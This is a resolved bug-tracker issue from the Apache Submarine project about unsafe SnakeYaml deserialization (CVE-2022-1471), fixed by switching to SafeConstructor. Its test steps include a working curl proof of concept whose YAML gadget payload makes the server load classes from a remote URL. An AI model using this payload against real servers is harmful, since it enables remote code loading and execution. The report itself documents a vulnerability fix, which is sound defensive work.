[SUBMARINE-1371] Fix unsafe deserialization via SnakeYaml in YamlEntityProvider

• Type: Bug
• Status: Resolved
• Priority: Critical
• Resolution: Fixed
• Fix Version/s: 0.8.0
• Component/s: Backend Server
• Labels: pull-request-available
• Target Version: 0.8.0
• Assignee: cdmikechen
• Reporter: cdmikechen
• Created: 05/Mar/23 08:48
• Updated: 26/Mar/23 02:23
• Resolved: 26/Mar/23 02:23

Description

Use SnakeYaml's SafeConstructor to replace default Yaml no arguments constructor to void unsafe deserialization.

Link url: https://nvd.nist.gov/vuln/detail/CVE-2022-1471

Test steps:

1. start a server with python3 -m http.server 8080
2. start submarine
3. test submarine with command 

   curl --location 'http://127.0.0.1:32080/api/v1/serve/' \
   --header 'Content-Type: application/yaml' \
   --data '!!org.apache.submarine.server.api.model.ServeSpec: modelName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080"]]]]'
   

4. we can see python server receive url like this:

   Serving HTTP on :: port 8080 (http://[::]:8080/) ...
   ::ffff:127.0.0.1 - - [05/Mar/2023 16:12:01] "GET / HTTP/1.1" 200 -
   

Issue Links

• links to: GitHub Pull Request #1054